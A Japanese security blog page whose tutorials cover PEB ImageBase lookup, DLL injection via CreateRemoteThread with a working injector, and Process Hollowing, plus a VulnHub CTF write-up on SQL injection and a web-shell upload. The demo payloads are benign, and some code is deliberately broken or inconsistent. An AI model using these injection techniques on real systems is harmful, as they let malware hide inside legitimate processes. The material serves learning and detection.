Snoozy

1.Sleep-inducing; tedious.

64bitアプリケーションのPEBからImageBaseを取得してみる

64bitアプリケーションのPEBからImageBaseを取得してみる

Windowsにおいて各プロセスはエグゼクティブプロセス(Executive Process:EPROCESS)構造体によって表現される。 この構造体にはプロセスに関する多くの情報が保持されており、たとえば、複数のスレッドを持つプロセスであれば各スレッド情報を持つエグゼクティブスレッド(Executive Thread:ETHREAD)構造体へのポインタなどがある。 ただしEPROCESS構造体とその関連構造体の多くはシステムのアドレス空間上に存在する。 ではユーザーモードのコードからプロセス情報を得るにはどうすればよいだろうか。 じつはプロセス環境ブロック(Process Enciroment Block:PEB)という構造体がユーザーモードアドレス空間に用意されており、ここからプロセスに関する種々のデータを取得することができる。

f:id:snoozekvn:20191223211905j:plain

今回は64bitプロセスのPEBからImageBaseを取得してみる。 ImageBaseとはその名の通りイメージファイルがロードされるアドレスであり、例えばPEファイルならImageBaseからの2バイトはMZがくるといった具合だ。 このImageBase+RVAでロードされたPEファイルの各種データにアクセスすることができる。

WinDbgで確認してみる

まずはWinDbgでnotepad.exeのPEBからImageBaseを確認してみる。 次のコマンドでPEB構造体のフォーマットを出力できる。

0:007> dt _peb
ntdll!_PEB
   +0x000 InheritedAddressSpace : UChar
   +0x001 ReadImageFileExecOptions : UChar
   +0x002 BeingDebugged    : UChar
   +0x003 BitField         : UChar
   +0x003 ImageUsesLargePages : Pos 0, 1 Bit
   +0x003 IsProtectedProcess : Pos 1, 1 Bit
   +0x003 IsImageDynamicallyRelocated : Pos 2, 1 Bit
   +0x003 SkipPatchingUser32Forwarders : Pos 3, 1 Bit
   +0x003 IsPackagedProcess : Pos 4, 1 Bit
   +0x003 IsAppContainer   : Pos 5, 1 Bit
   +0x003 IsProtectedProcessLight : Pos 6, 1 Bit
   +0x003 IsLongPathAwareProcess : Pos 7, 1 Bit
   +0x004 Padding0         : [4] UChar
   +0x008 Mutant           : Ptr64 Void
   +0x010 ImageBaseAddress : Ptr64 Void
// 省略

オフセット0x10のImageBaseAddressが求めたいImageBaseだ。

これはただPEB構造体の構造を出力しているだけでnotepad.exeのPEBではない。 notepad.exeのPEBを出力するにはPEBのアドレスを指定する必要がある。 次のようにすればよい。

0:007> r $peb
$peb=000000b5755da000
0:007> dt _peb @$peb
ntdll!_PEB
   +0x000 InheritedAddressSpace : 0 ''
   +0x001 ReadImageFileExecOptions : 0 ''
   +0x002 BeingDebugged    : 0x1 ''
   +0x003 BitField         : 0x84 ''
   +0x003 ImageUsesLargePages : 0y0
   +0x003 IsProtectedProcess : 0y0
   +0x003 IsImageDynamicallyRelocated : 0y1
   +0x003 SkipPatchingUser32Forwarders : 0y0
   +0x003 IsPackagedProcess : 0y0
   +0x003 IsAppContainer   : 0y0
   +0x003 IsProtectedProcessLight : 0y0
   +0x003 IsLongPathAwareProcess : 0y1
   +0x004 Padding0         : [4]  ""
   +0x008 Mutant           : 0xffffffff`ffffffff Void
   +0x010 ImageBaseAddress : 0x00007ff7`8dec0000 Void
// 省略

求めたいImageBaseはPEB構造体のImageBaseAddressから0x00007ff7`8dec0000であることがわかる。

dcコマンドでこのアドレスの中身を見てみる。

0:007> dc 0x00007ff7`8dec0000
00007ff7`8dec0000  00905a4d 00000003 00000004 0000ffff  MZ..............
00007ff7`8dec0010  000000b8 00000000 00000040 00000000  ........@.......
00007ff7`8dec0020  00000000 00000000 00000000 00000000  ................
00007ff7`8dec0030  00000000 00000000 00000000 000000f8  ................
00007ff7`8dec0040  0eba1f0e cd09b400 4c01b821 685421cd  ........!..L.!Th
00007ff7`8dec0050  70207369 72676f72 63206d61 6f6e6e61  is program canno
00007ff7`8dec0060  65622074 6e757220 206e6920 20534f44  t be run in DOS 
00007ff7`8dec0070  65646f6d 0a0d0d2e 00000024 00000000  mode....$.......

確かにImageBaseが取得できているようだ。

ちなみに!pebコマンドを使えば一発で求まる。

0:007> !peb
PEB at 000000b5755da000
    InheritedAddressSpace:    No
    ReadImageFileExecOptions: No
    BeingDebugged:            Yes
    ImageBaseAddress:         00007ff78dec0000
// 省略   

コードで確認してみる

次にコードでnotepad.exeのPEBからImageBaseを求めてみる。

#include <windows.h>
#include <winternl.h> // PROCESS_BASIC_INFORMATION

#include <iostream>
#include <cstdlib> // pause()
#include <sstream> // std::stringstream
#include<stdio.h>

std::stringstream ss;

typedef NTSTATUS(WINAPI *fpNtQueryInformationProcess)(
    HANDLE ProcessHandle,
    DWORD ProcessInformationClass,
    PVOID ProcessInformation,
    ULONG ProcessInformationLength,
    PULONG ReturnLength);


PROCESS_BASIC_INFORMATION* FindRemotePEB(HANDLE hProcess){


    HMODULE hNTDLL = LoadLibraryA("ntdll");
    fpNtQueryInformationProcess NtQueryInformationProcess = (fpNtQueryInformationProcess)GetProcAddress(
        hNTDLL,
        "NtQueryInformationProcess");

    // find remote PEB
    PROCESS_BASIC_INFORMATION *pBasicInfo = new PROCESS_BASIC_INFORMATION();

    // get PROCESS_BASIC_INFORMATION
    NtQueryInformationProcess(
        hProcess,
        0,
        pBasicInfo,
        sizeof(PROCESS_BASIC_INFORMATION),
        NULL);

    // debug
    std::cout << "PEBase: " << pBasicInfo->PebBaseAddress << std::endl;

    return (PROCESS_BASIC_INFORMATION*)pBasicInfo;
}

DWORD64 ReadRemoteImageBase(HANDLE hProcess, PROCESS_BASIC_INFORMATION *pBasicInfo){

    // get ImageBase offset address from the PEB 
    DWORD64 pebImageBaseOffset = (DWORD64)pBasicInfo->PebBaseAddress + 0x10 ;

    // debug
    ss << std::hex << pebImageBaseOffset;
    std::cout << "pebImageBaseOffset: " << ss.str() << std::endl;

    // get ImageBase
    DWORD64 ImageBase = 0;
    SIZE_T ReadSize = 8;
    SIZE_T bytesRead = NULL;
    ReadProcessMemory(hProcess, (LPCVOID)pebImageBaseOffset, &ImageBase, ReadSize, &bytesRead);

    return ImageBase;
}

int main()
{
    // open 64bit notepad.exe
    std::cout << "Creating process\r\n";

    LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
    LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();

    CreateProcessA(
        0,
        "notepad.exe",
        0,
        0,
        0,
        0, 
        0,
        0,
        pStartupInfo,
        pProcessInfo);

    PROCESS_BASIC_INFORMATION *pBasicInfo = (PROCESS_BASIC_INFORMATION*)FindRemotePEB(pProcessInfo->hProcess);
    DWORD64 ImageBase = ReadRemoteImageBase(pProcessInfo->hProcess, pBasicInfo);
 
    // debug
    printf("ProcessId:%d\n", pProcessInfo->dwProcessId);
    printf("ImageBase:%p\n", ImageBase);

    system("PAUSE");
    TerminateProcess(pProcessInfo->hProcess, NULL);
}

プロセスハンドルからNtQueryInformationProcessでPROCESS_BASIC_INFORMATIONを取得する。 その中にPEBへのポインタがあるので、0x10加算したアドレスをReadProcessMemoryで読み取ればそれがImageBaseのアドレスというわけだ。

f:id:snoozekvn:20191223211848p:plain

参考サイト

https://riosu.hateblo.jp/entry/2013/09/06/001208

https://www.microsoftpressstore.com/articles/article.aspx?p=2233328

http://inaz2.hatenablog.com/entry/2015/07/26/175115

LoadLibrary,CreateRemoteThreadを使ったDLL Injectionをやってみる

LoadLibrary,CreateRemoteThreadを使ったDLL Injectionをやってみる

DLLインジェクションの紹介記事なんて何番煎じだよという声が聞こえてきそうですが、DLLを使った攻撃は多くの派生版があり、それらを理解するにはまず最も基本的なLoadLibrary,CreateRemoteThreadを使ったDLLインジェクションを理解することが近道です。

本記事ではKernel32.dllがエクスポートするLoadLibrary、CreateRemoteThreadを使ったDLLInjectionを実装し、その動作原理について解説したいと思います。 またその結果としてマルウェア解析やその検知等の応用につなげていただければ幸いです。

DLL Injectionの原理

Windowsにおいて、各プロセスは固有の仮想メモリ空間を持ちます。 そのため基本的にWindowsAPIの力を借りずにあるプロセスが別のプロセスのメモリ空間を操作することはできません。

対してDLL InjectionはリモートプロセスへDLLを注入することで、そのリモートプロセスとしてコードを実行させるテクニックです。 これは攻撃者からすれば、既存のプロセスを隠れ蓑に任意のコードを実行させられるということであり、実においしい話です。

さて、さきほどWindowsAPIの力を借りずにあるプロセスが別のプロセスのメモリ空間を操作することはできないと述べました。ではどのようにDLL Injectionは実装されるのでしょうか。

特定のDLL(具体的にはNtdll.dllやKernel32.dll,User32.dllなどのサブシステムDLL)はすべてのプロセスで同じ仮想メモリアドレスにロードされます.したがって,それらDLLからエクスポートされるAPIのアドレスはすべてのプロセスで共通の値になります.

Loadlibraryを使ったDLLインジェクションはこの仕組みに着目し、自プロセスにロードされたKernel32.dllからエクスポートされるLoadlibraryへのアドレスをそのまま他プロセスに渡すことで任意のDLLのロードを可能にします。

主な手順は次のようになります。

  1. リモートプロセスをオープンまたはアタッチ
  2. WriteProcessMemoryでリモートプロセスに読み込ませたいDLLのパスを書き込む
  3. Loadlibraryへのアドレスを引数としてリモートプロセスに対してCreateRemoteThreadする
  4. この際、Loadlibraryの引数に、先ほど書き込んだDLLのパスへのアドレスを指定することで、任意のDLLを読み込ませることが可能
  5. DLLは読み込まれた直後に自動的に実行するコードを内部に記述可能で、ここに悪意あるコードを忍ばせておくことで攻撃が成立する

それでは実際に悪意あるDLLとそれをほかのプロセスにインジェクトするインジェクタープログラムを実装していきましょう。

injectorの実装

// usage
// ./injector.exe [DLLPath] [ProcessID to insert DLL]

#include <windows.h>

int main(int argc, char *argv[])
{
    DWORD pid;
    HANDLE proc;
    LPSTR libPath;
    LPSTR remoteLibPath;
    DWORD pathSize;
    libPath = argv[1];

    // 文字列を数値に変換
    pid = strtoul(argv[2], NULL, 0);

    proc = OpenProcess(
        PROCESS_CREATE_THREAD      //CreateRemoteThread
            | PROCESS_VM_OPERATION //VirtualAllocEX
            | PROCESS_VM_WRITE,    //WriteProcessMemory
        FALSE,                     //InheritHandle
        pid);

    pathSize = strlen(libPath) + 1;

    remoteLibPath = VirtualAllocEx(
        proc,
        NULL,
        pathSize,
        MEM_COMMIT,
        PAGE_READWRITE);
    
    // リモートプロセスへ読み込ませたいDLLのパスを書き込む
    WriteProcessMemory(
        proc,
        remoteLibPath,
        libPath,
        pathSize,
        NULL);

    // 自プロセス内のLoadlibraryへのアドレスをそのまま引数として渡す 
    CreateRemoteThread(
        proc,
        NULL,
        0,
        (LPTHREAD_START_ROUTINE)LoadLibrary,
        remoteLibPath,
        0,
        NULL);

    return 0;
}

DLLを読み込ませるインジェクタープログラムはたったこれだけです。

injectさせるDLLの実装

次に読み込まれるDLLを実装していきましょう。 このDLLがリモートプロセスに読み込まれ、デバッグウィンドウに文字列が出力されれば成功です。

// evil.c
#include <Windows.h>
int evilcode(void);

int evilCode()
{
    char *buf = "Injected!";
    OutputDebugString(buf);
}

BOOL WINAPI
DllMain(HMODULE hModule,
        DWORD ul_reason_for_call,
        LPVOID lpReserved)
{
    if (ul_reason_for_call == DLL_PROCESS_ATTACH)
    {
        evilCode();
    }
    return TRUE;
}

DLLは自身がプロセスにアタッチされたとき、つまりプロセスの仮想メモリ上にロードされたときに実行されるコードを記述可能で、今回はアタッチ時にevilcode()が実行されます。 このようにすることで読み込ませたプロセス上で任意のコードを走らせることができます。

実際に動作させてみる

VisualStudio付属のx64 native tools command prompt for vs 2019からclコマンドでコンパイルを行います。

cl injector.c

DLLは/LDオプションをつけることで作成できます。

cl evil.c /LD

まずは適当なインジェクトされるプログラムを起動しそのプロセス番号を調べます。今回はメモ帳を使うことにします。

C:\Program Files (x86)\Microsoft Visual Studio\2019\Community>tasklist | findstr "notepad"
notepad.exe                  15424 Console                    1     18,340 K

続いてインジェクタープログラムを使って実際にDLLをメモ帳にロードさせてみます。

injector.exe 15424 evil.dll

メッセージボックスがデバッグビューに表示されればDLLインジェクション成功です。

まとめ

名前のいかつさとは対照的に、案外簡単に実装できてしまったのではないでしょうか。

DLL InjectionはAPIフックやin-lineフックなどの興味深い攻撃手法の根幹をなすテクニックです。 また、インジェクター内で使用したOpenProcessやWriteProcessMemory、CreateRemoteThreadはプロセス操作を行うマルウェアで頻繁に目にするWindowsAPIです。

興味深い攻撃手法がたくさんありますのでぜひ手元で再現し、その検知手法ならびに解析手法を考えてみてください。

参考サイト

furuya02.hatenablog.com

NtUnmapViewOfSecitonによるProcess Hollowingをやってみる

NtUnmapViewOfSecitonによるProcess Hollowingをやってみる

本記事は IPFactory Advent Calendar 2019 - Qiita 19日目の記事です。

qiita.com

Ntdll.dllからエクスポートされるNtUnmapViewOfSectionによるProcess Hollowingをやってみる。

Process Hollowingの検知手法について解説する記事はいくつかヒットするが、その実装について解説した日本語情報はあまりないように思う。この記事では、すでによく知られているProcess Hollowingについて,実装部分に注目しながら解説してみる。これを読まれた方に検知と回避についてその仕組みから考える機会となれば幸いである。

Process Hollowingとは

マルウェアが使うProcess Injection手法の一例として、Process Hollowingがある。 これは正当なプロセスをサスペンド状態で新規作成した後、内部のイメージをNtUnmapViewOfSectionでアンマップし、悪意あるコードに置き換えるというものだ。

イメージをアンマップする様子がくり抜く動作に似ていることからProcess Hollowingと呼ばれる。

この記事では以下のリポジトリを参考に、電卓プロセスをHollowingし悪意あるコードに見立てたメッセージボックスをポップアップさせるプログラムを実装してみる。

github.com

新規プロセスの作成

まずは単純に,電卓を起動させるコードを書いてみる。

#include <windows.h>
#include <stdio.h>

void CreateHollowedProcess()
{

    printf("Creating process\r\n");

    LPSTARTUPINFOA pStartupInfo = new STARTUPINFOA();
    LPPROCESS_INFORMATION pProcessInfo = new PROCESS_INFORMATION();

    // CREATE_SUSPENDで新規プロセス作成
    CreateProcessA(
        0,
        "calc.exe",
        0,
        0,
        0,
        CREATE_SUSPENDED,
        0,
        0,
        pStartupInfo,
        pProcessInfo);
    
    if (!pProcessInfo->hProcess)
    {
        printf("Error creating process\r\n");

        return;
    }

    //////////////////////////////
    // ここにコードを追加していく
    //////////////////////////////
}

int main(int argc, char *argv[])
{

    CreateHollowedProcess();

    system("pause");
    return 0;
}

CreateProcessAの6番目の引数にCREATE_SUSPENDEDを与えることでサスペンド状態でプロセスが新規作成される。 試しにこれを0などに変えてみると通常通り電卓が起動するだろう。

以降このプログラムにコードを追加していく。

イメージのアンマップ

最初の処理は作成した電卓のイメージのアンマップだ。

  ///////////////////////////////////////////////////
    // イメージのアンマップ

    printf("Unmapping destination section\r\n");

    // 書き込み対象プロセスのPEB情報を取得
    PPEB pPEB = ReadRemotePEB(pProcessInfo->hProcess);
    // 書き込み対象プロセスのImageBaseを取得
    PLOADED_IMAGE pImage = ReadRemoteImage(pProcessInfo->hProcess, pPEB->ImageBaseAddress);

    handle hinstance = getmodulehandle();

    // 動的にDLLをリンク
    HMODULE hNTDLL = GetModuleHandleA("ntdll");
    FARPROC fpNtUnmapViewOfSection = GetProcAddress(hNTDLL, "NtUnmapViewOfSection");
    _NtUnmapViewOfSection NtUnmapViewOfSection = (_NtUnmapViewOfSection)fpNtUnmapViewOfSection;
    
    // 書き込み対象プロセスをアンマップ
    DWORD dwResult = NtUnmapViewOfSection(pProcessInfo->hProcess, pPEB->ImageBaseAddress);

    ///////////////////////////////////////////////////

イメージのアンマップはNtdll.dllからエクスポートされるNtUnmapViewOfSectionを使用する。 DLLの動的なロードにはGetModuleHandleAを使用する。 ハンドルと使用したい関数をGetProcAddressに渡すとその関数へのポインタが返る。 以降NtUnmapViewOfSectionへは関数ポインタと同じ要領でアクセスすればよい。

NtUnmapViewOfSectionの第1引数には対象プロセスのハンドル、第2引数にはイメージのベースアドレスを指定する。 対象プロセスへのハンドルはpProcessInfo->hProcessを与える。 イメージのベースアドレス取得にはラッパー関数であるReadRemotePEBを使用する。 この内部ではNtQueryInformationProcessを使ってPEBからプロセスのイメージベースを取得している。実際のコードはリポジトリを参照してほしい。

書き込み元実行ファイルの情報収集とメモリのアロケート

イメージのアンマップが正常に終了したら次は代替コードの注入だ。 メッセージボックスがポップアップするプログラムを簡単に書いてみる。

#include <windows.h>
int WINAPI WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
    MessageBoxA(0, "Hello World", "Hello Caption", 0);

    return 0;
}

このプログラムをコンパイルし実行形式にする。

書き込み元実行ファイルの情報収集処理ではまず先ほどコンパイルして出来上がった実行ファイルをオープンし、SizeOfImageなど書き込みに必要な情報を取得する。 次にそれに基づいてVritualAllocEXを使って電卓プロセス内にメモリ領域をPAGE_EXECUTE_READWRITEでアロケートする。 この段階ではまだメモリ領域を確保しただけで書き込みまでは行っていない。

    ///////////////////////////////////////////////////
    // 書き込み元実行ファイルの情報収集とメモリのアロケート

    // 書き込み元実行ファイルをオープン
    printf("Opening source image\r\n");

    HANDLE hFile = CreateFileA(
        pSourceFile,
        GENERIC_READ,
        0,
        0,
        OPEN_ALWAYS,
        0,
        0);

    // 書き込み元実行ファイルのファイルサイズ取得
    DWORD dwSize = GetFileSize(hFile, 0);
    PBYTE pBuffer = new BYTE[dwSize];
    DWORD dwBytesRead = 0;

    ReadFile(hFile, pBuffer, dwSize, &dwBytesRead, 0);
    // PEファイルのImageBase,NumberOfSectionsなどの各種情報を取得
    PLOADED_IMAGE pSourceImage = GetLoadedImage((DWORD)pBuffer);
    // NTHeaderへのオフセットを取得
    PIMAGE_NT_HEADERS32 pSourceHeaders = GetNTHeaders((DWORD)pBuffer);

    printf("Allocating memory\r\n");
    // PAGE_EXECUTE_READWRITEで書き込み対象へメモリ領域の確保
    PVOID pRemoteImage = VirtualAllocEx(
        pProcessInfo->hProcess,                     
        pPEB->ImageBaseAddress,                     
        pSourceHeaders->OptionalHeader.SizeOfImage, 
        MEM_COMMIT | MEM_RESERVE,
        PAGE_EXECUTE_READWRITE);

    ///////////////////////////////////////////////////

ベース再配置処理

PEファイルのオプショナルヘッダにはリンカが指定したイメージファイルがロードされるべきアドレスであるImageBaseフィールドがある。しかし既に他のイメージによって使用されているなど常にこのアドレスにロードできるとは限らない。 なんらかの理由でImageBaseにイメージファイルをロードできなかった場合、ローダはファイル内のベース再配置情報に基づいてアドレス値を修正する。 Process HollowingではVirtualAllocExで確保したメモリ領域にイメージファイルをロードさせる。そのため通常ローダが行ってくれるこのベース再配置をマニュアルで行う必要がある。

ベース再配置情報はオプショナルヘッダのDataDirectoryのIMAGE_DIRECTORY_ENTRY_BASERELOC[5]のエントリから辿ることができる。

    ///////////////////////////////////////////////////
    // ベース再配置処理

    pSourceHeaders->OptionalHeader.ImageBase = (DWORD)pPEB->ImageBaseAddress;
    
    // NTヘッダ部分を先んじて書き込む
    printf("Writing headers\r\n");
    WriteProcessMemory(
            pProcessInfo->hProcess,                        
            pPEB->ImageBaseAddress,                       
            pBuffer,                                      
            pSourceHeaders->OptionalHeader.SizeOfHeaders,
            0);                                          

    // 続いてセクション分書き込むためのループ
    for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
    {
        if (!pSourceImage->Sections[x].PointerToRawData)
            continue;

        // セクションの書き込み先となるポインタを決定
        PVOID pSectionDestination =
            (PVOID)((DWORD)pPEB->ImageBaseAddress + pSourceImage->Sections[x].VirtualAddress);

        printf("Writing %s section to 0x%p\r\n", pSourceImage->Sections[x].Name, pSectionDestination);

        WriteProcessMemory(
                pProcessInfo->hProcess,
                pSectionDestination,
                &pBuffer[pSourceImage->Sections[x].PointerToRawData],
                pSourceImage->Sections[x].SizeOfRawData,
                0);
    }


    // リンカが想定したImageBaseAddressと、実際にロードしたImageBaseAddressの差
    DWORD dwDelta = (DWORD)pPEB->ImageBaseAddress - pSourceHeaders->OptionalHeader.ImageBase;

    if (dwDelta)
        for (DWORD x = 0; x < pSourceImage->NumberOfSections; x++)
        {
            char *pSectionName = ".reloc";
            // セクション名が.reloc以外なら続行
            if (memcmp(pSourceImage->Sections[x].Name, pSectionName, strlen(pSectionName)))
                continue;

            printf("Rebasing image\r\n");

            DWORD dwRelocAddr = pSourceImage->Sections[x].PointerToRawData;
            DWORD dwOffset = 0;

            // 再配置テーブルへのポインタを取得
            IMAGE_DATA_DIRECTORY relocData =
                pSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
            
            // 再配置テーブルのサイズ分ループ
            while (dwOffset < relocData.Size)
            {
                PBASE_RELOCATION_BLOCK pBlockheader = (PBASE_RELOCATION_BLOCK)&pBuffer[dwRelocAddr + dwOffset];

                // インクリメント
                dwOffset += sizeof(BASE_RELOCATION_BLOCK);

                DWORD dwEntryCount = CountRelocationEntries(pBlockheader->BlockSize);

                PBASE_RELOCATION_ENTRY pBlocks = (PBASE_RELOCATION_ENTRY)&pBuffer[dwRelocAddr + dwOffset];

                for (DWORD y = 0; y < dwEntryCount; y++)
                {
                    // インクリメント
                    dwOffset += sizeof(BASE_RELOCATION_ENTRY);
                    // タイプが0なら再配置の必要なし
                    if (pBlocks[y].Type == 0)
                        continue;

                    // 再配置が必要なフィールドのアドレスを求める
                    DWORD dwFieldAddress = pBlockheader->PageAddress + pBlocks[y].Offset;

                    DWORD dwBuffer = 0;

                    // 再配置が必要なフィールドの読み込み
                    ReadProcessMemory(
                        pProcessInfo->hProcess,
                        (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress),
                        &dwBuffer,
                        sizeof(DWORD),
                        0);

                    printf("Relocating 0x%p -> 0x%p\r\n", dwBuffer, dwBuffer + dwDelta);
                    
                    dwBuffer += dwDelta;
                    
                    // 再配置が必要なフィールドの修正
                    BOOL bSuccess = WriteProcessMemory(
                        pProcessInfo->hProcess,                                  
                        (PVOID)((DWORD)pPEB->ImageBaseAddress + dwFieldAddress), 
                        &dwBuffer,                                               
                        sizeof(DWORD),                                            
                        0);                                                         
                }
            }

            break;
        }
    ///////////////////////////////////////////////////

まず1度イメージ全体を自プロセスのメモリ空間にロードする。

リンカが想定したImageBaseAddressと、実際にロードしたImageBaseAddressの差Deltaが0でない場合ベース再配置が必要で、.relocセクションに格納されている再配置テーブルを修正する。

再配置テーブルへのポインタはpSourceHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]で取得している。

PEViewで実際に適当なプログラムの.relocセクションをみてみると次のようになっており、再配置テーブルの構造がわかりやすいのではないかと思う。 f:id:snoozekvn:20191219115742p:plain またここではBASE_RELOCATION_BLOCK構造体とBASE_RELOCATION_ENTRY構造体が次のように定義されていることに注意して欲しい。

typedef struct BASE_RELOCATION_BLOCK {
    DWORD PageAddress; // 再配置を行うベースとなるRVA
    DWORD BlockSize; // 再配置ブロックのサイズ
} BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK;

typedef struct BASE_RELOCATION_ENTRY {
    USHORT Offset : 12; // 上位12bitがVirtualAddress からのオフセット
    USHORT Type : 4; // 下位4ビットで再配置のタイプ
} BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY;

BASE_RELOCATION_BLOCK構造体の直後にBASE_RELOCATION_ENTRY構造体がBASE_RELOCATION_BLOCK構造体のサイズも含めた値BlockSizeだけ延々と繰り返される。

PageAddressにOffsetを足すことで再配置を行うべきRVAを求め、dwDeltaを足すことで再配置計算が完了する。

スレッドコンテキストの編集

ターゲットプロセスへイメージのロードが完了したら、プロセススレッドのコンテキストを調整して完了だ。

    ///////////////////////////////////////////////////
    // スレッドコンテキストの編集

    // エントリーポイントの取得
    DWORD dwEntrypoint = (DWORD)pPEB->ImageBaseAddress +
                         pSourceHeaders->OptionalHeader.AddressOfEntryPoint;

    LPCONTEXT pContext = new CONTEXT();
    pContext->ContextFlags = CONTEXT_INTEGER;

    printf("Getting thread context\r\n");

    // ターゲットプロセスのスレッドコンテキスト情報を取得
    GetThreadContext(pProcessInfo->hThread, pContext);

    // エントリーポイントの書き換え
    pContext->Eax = dwEntrypoint;

    printf("Setting thread context\r\n");

    // スレッドコンテキストの更新
    SetThreadContext(pProcessInfo->hThread, pContext);

    printf("Resuming thread\r\n");

    // ターゲットプロセスのをResume
    ResumeThread(pProcessInfo->hThread);
    
    printf("Process hollowing complete\r\n");
    ///////////////////////////////////////////////////

動作の様子

以上のコードをコンパイルして実際に動作させてみる。

確かに電卓からメッセージボックスがポップアップしている。 またプロセスエディタで電卓にアタッチしておけばアンマップの様子やリロケーションの様子も見ることができる。

今回は簡便のためコマンドプロンプトデバッグ情報を出力しているが、当然ながら適切なプロセスをProcess Hollowing対象にすることで、タスクバーを含めて画面上からは一切の動作の様子を確認できなくすることも可能だ。

まとめ

ここまで読んでもらえた方には分かると思うがこのプログラムは32bitアプリケーションでしか動作しない。また悪用回避のためにただコードを繋げるだけではコンパイルできなくしている。

Process Hollowingはレガシーなテクニックだが、私にとってはリモートプロセスの操作やPEファイルの扱い、さらにはベース再配置などのイメージローダーが担う機能の一部分の再実装を通して、普段扱わない部分に触れる貴重な学習となった。繰り返しになるが、これを読まれた方に検知と回避についてその仕組みから考える機会となれば幸いである。

VulnHubのIMF: 1をやってみたよ~!

VulnHubのIMF: 1をやってみたよ~!ということでやっていく。

 

まずはnetdiscoverでIMF VMのアドレスを取得。

f:id:snoozekvn:20190620194718p:plain

アドレスが分かったら次はNmapでポートスキャン。

f:id:snoozekvn:20190620194721p:plain

80番ポートでApacheが動いていることがわかる。

アクセスしてみた結果が次の画像。

f:id:snoozekvn:20190620194714p:plain

かっこいいページだがここにはヒントはなさそう。

違うページをあさっているとcontactページのソースにフラッグを発見した。

ざっとみてスルーしてしまいそうだったが、なんとなくブラウザのページ内検索を試したら見つかった。あぶないあぶない。

f:id:snoozekvn:20190620195312p:plain

 

さて、他に隠されたページはないかdirbを使って辞書ベースのページ探索をしてみる。

f:id:snoozekvn:20190620195316p:plain

特になさそうだ。

niktoでサイトに脆弱性がないか試してみる。

f:id:snoozekvn:20190620195319p:plain

 

うむ…とくになさそう。

早くもどうしようかとウロウロしていると先程見つけたフラッグの中身がBase64エンコードされた文字列であることに気づいた。

さっそくデコードしてみる。

f:id:snoozekvn:20190620195940p:plain

ふむふむ?

ファイルが関係する…のか?

これまでのところファイルが見えるのはページのソースだけなので再度チェックしてみる。

サイトのソースをくまなく見ていくと次の画像の部分でそれをみつけた。

ファイル名がBase64エンコードされている。

f:id:snoozekvn:20190620200613p:plain

3つの文字列をつなげてからデコードしてみる。

f:id:snoozekvn:20190620200650p:plain

フラッグゲット!

f:id:snoozekvn:20190620200654p:plain
が、またしてもエンコードされているのでデコードする。

f:id:snoozekvn:20190620201105p:plain

どういうことだろう・・・?

ページ名か…?

f:id:snoozekvn:20190620200848p:plain

おお、合ってた。

ログインページさんこんにちは。

適当に試してももちろんログインできないのでソースを見てみる。

f:id:snoozekvn:20190620201453p:plain

ソースにRogerというユーザー名が見つかった。

これをつかって何度かログインを試してみたうまく行かず。

contactページでいくつかメールアドレスやユーザー名が見つかっていたので、それらをもとにcewlを使って簡単なワードリストを作る。

f:id:snoozekvn:20190620200845p:plain

ワードリストにRogerも追加して…

Burpsuiteでユーザー名とパスワードを格納するパラメータも入手し、準備は万端。

hydraでブルートフォースアタック!

 

が…うまくいかない…

ログイン可能な組み合わせは見つからなかった。

脆弱性を使うのかと、Apache2.4.18の脆弱性について調べて回ったが利用できそうなものは見あたらない。

裏でphpが動いていることはわかっているのでphpのlogin処理をbypassする方向で調べを進めたがこれもうまくいかない。

sqlインジェクション脆弱性があるのかとあれこれ試してみたがこれもだめ。

ただユーザー名がrmichaelsであることはレスポンスから判別することができた。

結局writeupを見た。

burpsuiteを使ってパスワードを受け取る変数をpass=をpass[]=にしてやるとうまくいくということだ。

そのレスポンスとして次のページが帰ってきた。

f:id:snoozekvn:20190620201342p:plain

フラッグの文字列をデコードしたのが次の画像。

f:id:snoozekvn:20190620200916p:plain

またリンクをクリックすると次のページに飛んだ。

f:id:snoozekvn:20190620201335p:plain

 URLをよく見ると引数を受け取っていることがわかる。

これは脆弱性がありそうだ。

試しにクォーテーションだけを与えてやるとさっそくエラーが出た。

f:id:snoozekvn:20190620211729p:plain

sqlmapでmysqlを攻撃可能か調べる。

f:id:snoozekvn:20190620211733p:plain

脆弱性があるといろいろ表示されるので試しに次の画像のコマンドでテーブルを表示する。

f:id:snoozekvn:20190620211726p:plain

 

 得られたテーブルで特に気になったのが次の画像だ。f:id:snoozekvn:20190620212028p:plain

ページ名とおぼしき文字列が得られている。

アクセスしてみる。

f:id:snoozekvn:20190620212031p:plain

ふーむ、画像にQRコードが含まれていることがわかる。

https://zxing.org/w/decode.jspx

このサイトでQRコードを読み取るとフラグが得られた。

f:id:snoozekvn:20190620212023p:plain

デコードしてみる。

f:id:snoozekvn:20190620213016p:plain

まーたページ名かな?

アクセスしてみる。

f:id:snoozekvn:20190620213018p:plain

アップロードフォームだ。

リモートシェルを返すスクリプトphpで書いてアップロードしてみる。

が、phpファイルはアップロードを許可されていなかった。

拡張子だけをみて判定していると考え、先程のファイルの拡張子をjpgに変えて再度アップロードする。

すると今度はeval関数が含まれているため許可されないとレスポンスが帰ってきた。

f:id:snoozekvn:20190620214001p:plain

 

結局私はGIFファイルシグネチャーをヘッダーに付与した非常に簡素なWebシェルをアップロードすることでこのWAFを回避した。

次の画像が実際にアップロードに使用したgifファイルだ。

f:id:snoozekvn:20190620215542p:plain

このファイルを呼び出すことができれば引数に与えたコマンドを実行できる。

 uploadディレクトリ配下に格納されると考えいくつか適当なURLにアクセスしたがページが見つからないとレスポンスが帰ってくる。

ディレクト構造に調べたりと散々苦労したあと、アップロードフォームのソースに次の文字列を発見した。
f:id:snoozekvn:20190620213012p:plain

緑色にコメントアウトされているのがその文字列である。

私は最初、この文字列が何を意味するのかわからなかった。

何度かファイルをアップロードし直したりする中で、この文字列が変化していることに気づいた。

おそらくこれがアップロード後のファイル名なのではないか?

ファイル名がハッシュ値のような形に変換されているのではないかと考えた。

実際にURLのファイル名を、この16進数表記された文字列に変えてアクセスして見るとコマンドの結果が表示された。

